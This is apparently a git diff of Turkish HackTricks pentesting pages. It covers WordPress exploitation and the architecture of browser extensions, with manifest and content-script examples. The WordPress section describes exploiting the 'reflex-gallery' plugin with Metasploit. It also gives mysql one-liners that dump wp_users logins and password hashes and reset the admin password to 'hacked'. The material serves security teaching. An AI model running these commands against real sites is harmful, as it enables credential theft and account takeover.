içerir. Bu işlem WordPress panosu üzerinden aşağıdaki gibi gerçekleştirilir: -1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan, örneğin [**buradan**](https://www.exploit-db.com/exploits/36374) elde edilir. +1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan alınır, örneğin [**buradan**](https://www.exploit-db.com/exploits/36374). +2. **Eklenti Yükleme**: +* WordPress panosuna gidin, ardından `Pano > Eklentiler > Eklenti Yükle`'ye gidin. +* İndirilen eklentinin zip dosyasını yükleyin. +3. **Eklenti Etkinleştirme**: Eklenti başarılı bir şekilde yüklendikten sonra, panoda etkinleştirilmelidir. +4. **Sömürü**: +* "reflex-gallery" eklentisi yüklü ve etkin olduğunda, zayıf olduğu bilindiği için sömürülebilir. +* Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir. +* Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir. -2. **Eklenti Kurulumu**: -- WordPress panosuna gidin, ardından `Panoya Git > Eklentiler > Eklenti Yükle`'yi seçin. -- İndirilen eklentinin zip dosyasını yükleyin. - -3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, panoda etkinleştirilmelidir. - -4. **İstismar**: -- "reflex-gallery" adlı eklenti yüklü ve etkinleştirildiğinde, bilinen bir güvenlik açığına sahip olduğu için istismar edilebilir. -- Metasploit çerçevesi, bu güvenlik açığı için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, yetkisiz erişim sağlayan bir meterpreter oturumu oluşturulabilir. -- Bu, bir WordPress sitesini istismar etmek için birçok yöntemden sadece biridir. - -İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Bununla birlikte, bu tür güvenlik açıklarını istismar etmek yasalara aykırı ve etik dışıdır ve uygun yetkilendirme olmadan yapılması durumunda suç teşkil eder. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan bir penetrasyon testi gibi durumlarda kullanılmalıdır. - - -**Daha ayrıntılı adımlar için şuraya bakın: [https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)** +İçerik, eklentiyi yüklemek ve etkinleştirmek için WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır. +**Daha detaylı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/) ## Saldırı Sonrası @@ -368,17 +361,7 @@ Kullanıcı adlarını ve şifreleri çıkarın: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -# Admin Şifresini Değiştirme: - -Bir WordPress sitesinde yönetici şifresini değiştirmek, site güvenliğini artırmak için önemlidir. İşte adımlar: - -1. WordPress yönetici paneline giriş yapın. -2. Sol taraftaki menüden "Kullanıcılar" sekmesini seçin. -3. "Tüm Kullanıcılar" sayfasında, yönetici hesabını bulun ve üzerine tıklayın. -4. "Şifre Değiştir" seçeneğini seçin. -5. Yeni bir güçlü şifre oluşturun ve kaydedin. - -Bu adımları takip ederek, WordPress yönetici şifrenizi güncelleyebilir ve site güvenliğinizi artırabilirsiniz. +Admin şifresini değiştirin: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` @@ -386,7 +369,7 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Düzenli Güncellemeler -WordPress'in, eklentilerin ve temaların güncel olduğundan emin olun. Ayrıca wp-config.php dosyasında otomatik güncelleme özelliğinin etkin olduğunu doğrulayın: +WordPress'in, eklentilerin ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php dosyasında etkin olduğunu doğrulayın: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -400,32 +383,32 @@ Ayrıca, **yalnızca güvenilir WordPress eklentileri ve temaları yükleyin**. * [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) * [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/) -### **Diğer Öneriler** +### **Diğer Tavsiyeler** * Varsayılan **admin** kullanıcısını kaldırın * **Güçlü şifreler** ve **2FA** kullanın -* Kullanıcıların **izinlerini düzenli olarak gözden geçirin** -* Kaba kuvvet saldırılarını önlemek için **giriş denemelerini sınırlayın** -* **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili olarak veya belirli IP adreslerinden erişime izin verin. +* Kullanıcı **izinlerini periyodik olarak gözden geçirin** +* Brute Force saldırılarını önlemek için **giriş denemesini sınırlayın** +* **`wp-admin.php`** dosyasını yeniden adlandırın ve yalnızca belirli IP adreslerinden veya dahili olarak erişime izin verin. -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +Hemen Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**. -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
diff --git a/pentesting-web/browser-extension-pentesting-methodology/README.md b/pentesting-web/browser-extension-pentesting-methodology/README.md index f60394117..bce1ed38c 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -2,53 +2,53 @@
-AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## Temel Bilgiler -Tarayıcı uzantıları JavaScript ile yazılır ve tarayıcı tarafından arka planda yüklenir. Uzantının kendi [DOM](https://www.w3schools.com/js/js\_htmldom.asp)'u vardır, ancak diğer sitelerin DOM'larıyla etkileşimde bulunabilir. Bu, diğer sitelerin gizlilik, bütünlük ve erişilebilirlik (CIA) güvenliğini tehlikeye atabilir. +Tarayıcı uzantıları JavaScript ile yazılır ve tarayıcı tarafından arka planda yüklenir. Kendi [DOM](https://www.w3schools.com/js/js\_htmldom.asp)'una sahiptir ancak diğer sitelerin DOM'larıyla etkileşimde bulunabilir. Bu, diğer sitelerin gizliliğini, bütünlüğünü ve erişilebilirliğini (CIA) tehlikeye atabilir. ## Ana Bileşenler -Uzantı düzenleri en iyi şekilde görselleştirildiğinde üç bileşenden oluşur. Her bir bileşene daha detaylı bir şekilde bakalım. +Uzantı düzenleri en iyi görselleştirildiğinde üç bileşenden oluşur. Her bileşeni detaylı olarak inceleyelim. -

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

+

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

-### **İçerik Betikleri (Content Scripts)** +### **İçerik Betikleri** -Her içerik betiği, **tek bir web sayfasının** DOM'una doğrudan erişime sahiptir ve bu nedenle **potansiyel olarak zararlı girişlere** maruz kalır. Bununla birlikte, içerik betiği, uzantı çekirdeğine mesaj gönderme yeteneği dışında hiçbir izne sahip değildir. +Her içerik betiğinin **tek bir web sayfasının** DOM'una doğrudan erişimi vardır ve bu nedenle **potansiyel olarak kötü niyetli girişlere** maruz kalır. Ancak, içerik betiği, uzantı çekirdeğine mesaj gönderme yeteneği dışında hiçbir izne sahip değildir. -### **Uzantı Çekirdeği (Extension Core)** +### **Uzantı Çekirdeği** -Uzantı çekirdeği, uzantının çoğu ayrıcalık/erişime sahiptir, ancak uzantı çekirdeği yalnızca [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) ve içerik betikleri aracılığıyla web içeriğiyle etkileşimde bulunabilir. Ayrıca, uzantı çekirdeği, ana makineye doğrudan erişime sahip değildir. +Uzantı çekirdeği, uzantının çoğu ayrıcalık/erişimini içerir, ancak uzantı çekirdeği yalnızca [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) ve içerik betikleri aracılığıyla web içeriği ile etkileşime geçebilir. Ayrıca, uzantı çekirdeğinin ana makineye doğrudan erişimi yoktur. -### **Yerel İkili (Native Binary)** +### **Yerel İkili** -Uzantı, kullanıcının tam ayrıcalıklarıyla ana makineye **erişebilen bir yerel ikiliye** izin verir. Yerel ikili, Flash ve diğer tarayıcı eklentileri tarafından kullanılan standart Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) aracılığıyla uzantı çekirdeği ile etkileşime geçer. +Uzantı, kullanıcının tam ayrıcalıklarıyla ana makineye **erişebilen bir yerel ikiliye** izin verir. Yerel ikili, Flash ve diğer tarayıcı eklentileri tarafından kullanılan standart Netscape Eklenti Uygulama Programlama Arayüzü ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) aracılığıyla uzantı çekirdeği ile etkileşime geçer. ### Sınırlar {% hint style="danger" %} -Bir saldırganın kullanıcının tam ayrıcalıklarını elde etmesi için, içerik betiğinden uzantının çekirdeğine ve uzantının çekirdeğinden yerel ikiliye zararlı giriş geçirmesi gerekmektedir. +Kullanıcının tam ayrıcalıklarını elde etmek için bir saldırganın, içerik betiğinden uzantı çekirdeğine ve uzantı çekirdeğinden yerel ikiliye kötü niyetli giriş geçirmesini sağlaması gerekir. {% endhint %} -Uzantının her bileşeni, **güçlü koruyucu sınırlarla** birbirinden ayrılmıştır. Her bileşen, **ayrı bir işletim sistemi sürecinde** çalışır. İçerik betikleri ve uzantı çekirdekleri, çoğu işletim sistemi hizmetine erişilemeyen **kum havuzu süreçlerinde** çalışır. +Uzantının her bileşeni, birbirinden **güçlü koruyucu sınırlarla** ayrılmıştır. Her bileşen ayrı bir işletim sistemi işlemi içinde çalışır. İçerik betikleri ve uzantı çekirdekleri, çoğu işletim sistemi hizmetine erişilemeyen **kum havuzu işlemlerinde** çalışır. -Ayrıca, içerik betikleri, ilişkili web sayfalarından **ayrı bir JavaScript yığında** çalışır. İçerik betiği ve web sayfası, aynı temel DOM'a **erişime sahip olsa da**, ikisi **hiçbir zaman JavaScript işaretçilerini değiş tokuş etmez**, böylece JavaScript işlevselliğinin sızmasını önler. +Ayrıca, içerik betikleri, ilişkili web sayfalarından **ayrı bir JavaScript yığınında çalışarak** ayrılır. İçerik betiği ve web sayfası, **aynı temel DOM'a erişime sahiptir**, ancak ikisi **hiçbir zaman JavaScript işaretçilerini değiş tokuş etmez**, JavaScript işlevselliğinin sızmasını önler. ## **`manifest.json`** -Bir Chrome uzantısı, [.crx dosya uzantısına](https://www.lifewire.com/crx-file-2620391) sahip bir ZIP klasörüdür. Uzantının çekirdeği, klasörün kökünde bulunan **`manifest.json`** dosyasıdır ve düzen, izinler ve diğer yapılandırma seçeneklerini belirtir. +Bir Chrome uzantısı, [.crx dosya uzantısına sahip bir ZIP klasörüdür](https://www.lifewire.com/crx-file-2620391). Uzantının çekirdeği, düzeni, izinleri ve diğer yapılandırma seçeneklerini belirten klasörün kökünde bulunan **`manifest.json`** dosyasıdır. Örnek: ```json @@ -83,7 +83,7 @@ Bir Chrome uzantısı, [.crx dosya uzantısına](https://www.lifewire.com/crx-fi ``` ### `content_scripts` -İçerik betikleri, kullanıcının eşleşen bir sayfaya gezindiğinde yüklenir. Bizim durumumuzda, `https://example.com/*` ifadesine uyan herhangi bir sayfa ve `*://*/*/business*` regexine uymayan herhangi bir sayfa. İçerik betikleri, sayfanın kendi betikleri gibi çalışır ve sayfanın [Belge Nesne Modeli (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) 'ne keyfi erişime sahiptir. +İçerik betikleri, kullanıcı **eşleşen bir sayfaya gezindiğinde yüklenir**, bizim durumumuzda **`https://example.com/*`** ifadesine uyan herhangi bir sayfa ve **`*://*/*/business*`** regexine uymayanlar. Sayfanın kendi betikleri gibi **çalışır** ve sayfanın [Belge Nesne Modeli (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)ne keyfi erişime sahiptir. ```json "content_scripts": [ { @@ -98,9 +98,9 @@ Bir Chrome uzantısı, [.crx dosya uzantısına](https://www.lifewire.com/crx-fi } ], ``` -Daha fazla URL eklemek veya hariç tutmak için **`include_globs`** ve **`exclude_globs`** kullanmak da mümkündür. +**`include_globs`** ve **`exclude_globs`** kullanarak daha fazla URL eklemek veya hariç tutmak da mümkündür. -Bu, bir açıklama düğmesi ekleyen bir örnek içerik betiğidir. Bu betik, [depolama API'si](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanarak uzantının depolamasından `message` değerini alır. +Bu, depolama API'sini kullanarak uzantının depolamasından `message` değerini almak için bir açıklama düğmesi ekleyecek bir örnek içerik betiğidir. ```js chrome.storage.local.get("message", result => { @@ -115,24 +115,24 @@ document.body.appendChild(div); ```
-Bu düğme tıklandığında içerik betiği tarafından uzantı sayfalarına bir ileti gönderilir, bunun için [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) kullanılır. İçerik betiğinin API'lere doğrudan erişimindeki sınırlamalar nedeniyle, `storage` bunların birkaç istisnasından biridir. Bu istisnaların ötesindeki işlevler için, iletiler içerik betiği tarafından uzantı sayfalarına gönderilir ve içerik betikleri ile iletişim kurabilir. +Bu düğmeye tıklandığında içerik betiği tarafından uzantı sayfalarına bir mesaj gönderilir, [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage) kullanılarak. Bu, içerik betiğinin API'lere doğrudan erişimindeki kısıtlamadan kaynaklanmaktadır, `storage` bunun istisnalarından biridir. Bu istisnaların ötesindeki işlevsellikler için, içerik betikleri ile iletişim kurabilen uzantı sayfalarına mesajlar gönderilir. {% hint style="warning" %} -Tarayıcıya bağlı olarak, içerik betiğinin yetenekleri biraz farklılık gösterebilir. Chromium tabanlı tarayıcılar için yetenekler listesi [Chrome Geliştiriciler belgelerinde](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) mevcuttur ve Firefox için [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) birincil kaynak olarak hizmet verir.\ -Ayrıca, içerik betiklerinin arka plan betikleriyle iletişim kurma yeteneği olduğu ve böylece eylemler gerçekleştirebileceği ve yanıtları iletebileceği unutulmamalıdır. +Tarayıcıya bağlı olarak, içerik betiğinin yetenekleri biraz değişebilir. Chromium tabanlı tarayıcılar için, yetenekler listesi [Chrome Geliştiriciler belgelerinde](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities) mevcuttur ve Firefox için [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) birincil kaynak olarak hizmet verir.\ +Ayrıca içerik betiklerinin arka plan betikleri ile iletişim kurma yeteneğine sahip oldukları ve eylemleri gerçekleştirmelerine ve yanıtları geri iletmelerine olanak tanıdığı da belirtilmelidir. {% endhint %} -Chrome'da içerik betiklerini görüntülemek ve hata ayıklamak için Chrome geliştirici araçları menüsüne Options > More tools > Developer tools veya Ctrl + Shift + I tuşlarına basarak erişilebilir. +Chrome'da içerik betiklerini görüntülemek ve hata ayıklamak için, Chrome geliştirici araçları menüsüne Options > More tools > Developer tools yoluyla erişilebilir veya Ctrl + Shift + I tuşlarına basılarak erişilebilir. -Geliştirici araçları görüntülendikten sonra, **Source** sekmesine tıklanmalı ve ardından **Content Scripts** sekmesine geçilmelidir. Bu, çeşitli uzantılardan çalışan içerik betiklerinin gözlemlenmesine ve yürütme akışını takip etmek için kesme noktalarının ayarlanmasına olanak tanır. +Geliştirici araçları görüntülendikten sonra, **Source** sekmesine tıklanmalı ve ardından **Content Scripts** sekmesine tıklanmalıdır. Bu, çeşitli uzantılardan çalışan içerik betiklerinin gözlemlenmesine ve yürütme akışını izlemek için kesme noktaları belirlemeye olanak tanır. -### Enjekte edilen içerik betikleri +### Enjekte edilmiş içerik betikleri {% hint style="success" %} -**İçerik Betikleri zorunlu değildir**, çünkü betiklerin web sayfalarına **dinamik olarak enjekte edilmesi** ve **programatik olarak enjekte edilmesi** de mümkündür. Bu aslında daha **ayrıntılı kontroller** sağlar. +**İçerik Betiklerinin zorunlu olmadığını** unutmayın, ayrıca **dinamik olarak** betiklerin **enjekte edilmesi** ve bunların web sayfalarına **`tabs.executeScript`** aracılığıyla **programatik olarak enjekte edilmesi** de mümkündür. Bu aslında daha **detaylı kontroller** sağlar. {% endhint %} -Bir içerik betiğinin programatik olarak enjekte edilmesi için, betiğin enjekte edileceği sayfa için uzantının [host izinlerine](https://developer.chrome.com/docs/extensions/reference/permissions) sahip olması gerekmektedir. Bu izinler, izinlerin uzantının manifestinde **istendiği** veya geçici olarak [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) aracılığıyla sağlanabilir. +Bir içerik betiğinin programatik olarak enjekte edilmesi için, betiklerin enjekte edileceği sayfaya [ana bilgisayar izinlerine](https://developer.chrome.com/docs/extensions/reference/permissions) sahip olması gerekir. Bu izinler, uzantının manifest dosyası içinde talep edilerek veya geçici olarak [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) aracılığıyla sağlanabilir. #### Örnek activeTab tabanlı uzantı @@ -155,7 +155,7 @@ Bir içerik betiğinin programatik olarak enjekte edilmesi için, betiğin enjek ``` {% endcode %} -* **Bir JS dosyasını tıklama ile enjekte etmek:** +* **Tıklama olayıyla bir JS dosyası enjekte etmek:** ```javascript // content-script.js document.body.style.backgroundColor = "orange"; @@ -168,7 +168,7 @@ files: ["content-script.js"] }); }); ``` -* **Tıklama** olayında bir fonksiyon **enjekte edin**: +* **Tıklama olayına bir fonksiyon enjekte etme**: ```javascript //service-worker.js - Inject a function function injectedFunction() { @@ -183,20 +183,6 @@ func : injectedFunction, }); ``` #### Betik İzinleri ile Örnek - -Bu bölümde, bir tarayıcı uzantısının betik izinlerini kullanarak nasıl test edileceğini göstereceğiz. Bu, uzantının kullanıcı tarafından verilen izinlerle ne yapabileceğini belirlemek için önemlidir. - -1. İlk adım olarak, hedef uzantının manifest dosyasını inceleyin. Bu dosya, uzantının hangi izinlere sahip olduğunu belirler. Örneğin, bir uzantının "tabs" iznine sahip olduğunu gördüğünüzde, bu uzantının tarayıcı sekmesiyle etkileşimde bulunabileceğini anlarsınız. - -2. İkinci adımda, hedef uzantıyı yükleyin ve kullanın. Uzantının sunduğu özellikleri ve işlevleri test edin. Örneğin, bir uzantının web sayfalarında içerik değiştirebildiğini veya tarayıcı sekmesini kontrol edebildiğini gözlemleyebilirsiniz. - -3. Üçüncü adımda, hedef uzantının betik izinlerini test edin. Bunun için, uzantının kullanıcı tarafından verilen izinleri nasıl kullandığını anlamak için bir test senaryosu oluşturun. Örneğin, bir uzantının "tabs" iznine sahip olduğunu gördüğünüzde, bu izni kullanarak tarayıcı sekmesini değiştirmeyi deneyebilirsiniz. - -4. Dördüncü adımda, hedef uzantının izinlerini kötüye kullanma potansiyelini değerlendirin. Uzantının kullanıcı tarafından verilen izinleri kötüye kullanarak ne tür saldırılar gerçekleştirebileceğini düşünün. Örneğin, bir uzantının "storage" iznine sahip olduğunu gördüğünüzde, bu izni kullanarak kullanıcının yerel depolama verilerine erişebilirsiniz. - -5. Beşinci adımda, hedef uzantının güvenlik önlemlerini test edin. Uzantının kullanıcı tarafından verilen izinleri nasıl koruduğunu ve kötü niyetli kullanımlara karşı nasıl savunduğunu değerlendirin. Örneğin, bir uzantının "tabs" iznine sahip olduğunu gördüğünüzde, bu iznin kötü niyetli bir saldırgan tarafından nasıl kötüye kullanılabileceğini düşünün ve bu tür saldırılara karşı nasıl korunduğunu test edin. - -Bu metodolojiyi kullanarak, hedef uzantının betik izinlerini test edebilir ve potansiyel güvenlik açıklarını tespit edebilirsiniz. Bu, uzantının kullanıcı tarafından verilen izinleri nasıl kullandığını ve kötüye kullanma potansiyelini değerlendirmenize yardımcı olur. ```javascript // service-workser.js chrome.scripting.registerContentScripts([{ @@ -209,16 +195,16 @@ js : [ "contentScript.js" ], // Another example chrome.tabs.executeScript(tabId, { file: "content_script.js" }); ``` -Daha fazla URL eklemek veya hariç tutmak için **`include_globs`** ve **`exclude_globs`** kullanmak da mümkündür. +**`include_globs`** ve **`exclude_globs`** kullanarak daha fazla URL eklemek veya hariç tutmak da mümkündür. ### İçerik Betikleri `run_at` -`run_at` alanı, **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini kontrol eder**. Tercih edilen ve varsayılan değer `"document_idle"`'dır. +`run_at` alanı, **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini kontrol eder**. Tercih edilen ve varsayılan değer `"document_idle"` değeridir. Mümkün olan değerler şunlardır: * **`document_idle`**: Mümkün olduğunda -* **`document_start`**: `css` dosyalarından sonra, ancak herhangi bir DOM oluşturulmadan veya herhangi bir betik çalıştırılmadan önce. +* **`document_start`**: `css` dosyalarından sonra, ancak diğer DOM oluşturulmadan veya başka bir betik çalıştırılmadan önce. * **`document_end`**: DOM tamamlandıktan hemen sonra, ancak resimler ve çerçeveler gibi alt kaynaklar yüklenmeden önce. #### `manifest.json` üzerinden @@ -237,7 +223,7 @@ Mümkün olan değerler şunlardır: } ``` -**`service-worker.js`** üzerinden +**`service-worker.js`** aracılığıyla ```javascript chrome.scripting.registerContentScripts([{ id : "test", @@ -248,16 +234,16 @@ js : [ "contentScript.js" ], ``` ### `arkaplan` -İçerik betikleri tarafından gönderilen mesajlar, uzantının bileşenlerini koordine eden **arkaplan sayfası** tarafından alınır. Özellikle, arkaplan sayfası doğrudan kullanıcı etkileşimi olmadan gizli bir şekilde çalışarak uzantının ömrü boyunca devam eder. Kendi Document Object Model (DOM) 'a sahiptir ve karmaşık etkileşimler ve durum yönetimi sağlar. +İçerik betikleri tarafından gönderilen mesajlar, uzantının bileşenlerini koordine etmede merkezi bir rol oynayan **arkaplan sayfası** tarafından alınır. Önemli bir şekilde, arkaplan sayfası uzantının ömrü boyunca devam eder, doğrudan kullanıcı etkileşimi olmadan gizlice çalışır. Kendi Document Object Model (DOM) 'a sahiptir, karmaşık etkileşimler ve durum yönetimine olanak tanır. **Ana Noktalar**: -- **Arkaplan Sayfa Rolü:** Uzantının farklı parçaları arasında iletişimi ve koordinasyonu sağlayarak uzantının sinir merkezi olarak hareket eder. -- **Kalıcılık:** Kullanıcıya görünmez ancak uzantının işlevselliği için önemlidir ve sürekli olarak mevcuttur. -- **Otomatik Oluşturma:** Belirtilmediyse, tarayıcı otomatik olarak bir arkaplan sayfası oluşturur. Bu otomatik oluşturulan sayfa, uzantının manifestinde belirtilen tüm arkaplan betiklerini içerir ve uzantının arkaplan görevlerinin sorunsuz çalışmasını sağlar. +* **Arkaplan Sayfa Rolü:** Uzantı için sinir merkezi olarak hareket eder, uzantının çeşitli parçaları arasında iletişimi ve koordinasyonu sağlar. +* **Kalıcılık:** Kullanıcı için görünmez ancak uzantının işlevselliği için ayrılmaz olan sürekli bir varlıktır. +* **Otomatik Oluşturma:** Açıkça tanımlanmazsa, tarayıcı otomatik olarak bir arkaplan sayfası oluşturacaktır. Bu otomatik oluşturulan sayfa, uzantının manifestosunda belirtilen tüm arkaplan betiklerini içerecek ve uzantının arkaplan görevlerinin sorunsuz çalışmasını sağlayacaktır. {% hint style="success" %} -Tarayıcının otomatik olarak bir arkaplan sayfası oluşturması (açıkça belirtilmediğinde) sağladığı kolaylık, gerekli tüm arkaplan betiklerinin entegre edilerek ve operasyonel hale getirilerek uzantının kurulum sürecini basitleştirir. +Tarayıcı tarafından otomatik olarak bir arkaplan sayfası oluşturulması (açıkça belirtilmediğinde) sağlanan kolaylık, tüm gerekli arkaplan betiklerinin entegre edilmiş ve operasyonel olduğundan emin olur, uzantının kurulum sürecini basitleştirir. {% endhint %} Örnek arkaplan betiği: @@ -270,9 +256,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" }); } }) ``` -[runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) kullanarak mesajları dinler. Bir `"explain"` mesajı alındığında, [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) kullanılarak yeni bir sekmede bir sayfa açar. +Extension, mesajları dinlemek için [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) kullanır. Bir `"explain"` mesajı alındığında, [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) kullanarak yeni bir sekmede bir sayfa açar. -Arka plan betiğini hata ayıklamak için **uzantı ayrıntılarına gidip hizmet çalışanını inceleyebilirsiniz,** bu arka plan betiği ile geliştirici araçlarını açacaktır: +Arka plan betiğini hata ayıklamak için **uzantı ayrıntılarına gidip hizmet işçisini inceleyebilirsiniz**, bu arka plan betiğini geliştirici araçlarla açacaktır:
